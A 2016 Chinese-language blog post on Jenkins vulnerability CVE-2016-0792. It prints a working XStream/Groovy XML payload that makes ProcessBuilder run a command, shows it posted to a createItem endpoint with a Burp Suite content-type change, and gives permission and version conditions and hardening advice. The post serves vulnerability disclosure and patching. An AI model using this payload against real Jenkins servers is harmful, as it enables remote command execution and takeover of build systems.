Jenkins-CVE-2016-0792漏洞利用及修复建议

 

漏洞概述:

国外网站 Contrast Security 2016224日在公开了Jenkins近日修复的一个可通过低权限用户调用 API 服务致使的命令执行漏洞详情。通过低权限用户构造一个恶意的 XML 文档发送至服务端接口,使服务端解析时调用 API 执行外部命令。

 

利用方法:

1. 登陆低权限用户test

权限为:Overallread权限+Jobcreate权限

 

 

将下面xml数据包post到创建项目页面,项目名称任意命名,这里暂取qt-sec ,完整链接如下:

 

http://178.18.120.133:8181/createItem?name=qt-sec

 

xml数据包如下(string节点的红色部分为要执行的命令和对象):

 

<map>

  <entry>

    <groovy.util.Expando>

      <expandoProperties>

        <entry>

          <string>hashCode</string>

          <org.codehaus.groovy.runtime.MethodClosure>

            <delegate class="groovy.util.Expando" reference="../../../.."/>

            <owner class="java.lang.ProcessBuilder">

              <command>

                <string>touch</string>

                <string>/tmp/qingteng-test-1</string>

              </command>

              <redirectErrorStream>false</redirectErrorStream>

            </owner>

            <resolveStrategy>0</resolveStrategy>

            <directive>0</directive>

            <parameterTypes/>

            <maximumNumberOfParameters>0</maximumNumberOfParameters>

            <method>start</method>

          </org.codehaus.groovy.runtime.MethodClosure>

        </entry>

      </expandoProperties>

    </groovy.util.Expando>

    <int>1</int>

  </entry>

</map>

 

2. 通过burpsuite截获修改数据包

此处只需把Content-Type: application/x-www-form-urlencoded改为Content-Type: application/xml,然后发送数据包。

 

截获数据包,不进行修改发送,产生400响应状态码,并报“No mode given”错误,经测试发现命令执行失败:

 

 

截获数据包,修改内容类型值,产生500响应状态码,经测试命令执行成功,并在目标服务器的tmp目录下创建了qingteng-test-1文件:

 

 

生成的文件如下:

 

 

 

 

利用总结:

1. 权限限制条件:

无论匿名用户,还是登陆用户,权限必须具有“Overallread权限和Jobcreate权限”两个权限(当然具有其他权限越多越好,若拥有administrater权限,其他任何权限都不是必须条件了,因为administrater为最高权限,故这里不考虑administrater)。因为该个漏洞是利用的createitem创建job的功能去调用api,所以create是必须的,而Jenkins最基本的权限是overall的read权限,用户必须赋予阅读的权限,不然什么都看不到。

2. 版本限制条件:

jenkins版本小于 1.650 1.650版本已修复该问题)

3. post数据内容类型:

构造一个恶意的 XML 文档发送至服务端接口时,内容类型需注意为xml

安全加固

l 更新 Jenkins 至最新版本 1.650以上。

l jenkins访问控制,收入内网不开放往外网。

l 禁止jenkins的匿名访问权限。

l 保证每个jenkins账号不为弱口令。

 

参考链接:

https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream

https://www.seebug.org/vuldb/ssvid-90813

https://www.youtube.com/watch?v=JgjYrwqI6nA

http://blog.csdn.net/wangmuming/article/details/22926025

posted @ 2016-02-28 21:09  sevck  阅读(4811)  评论(0编辑  收藏  举报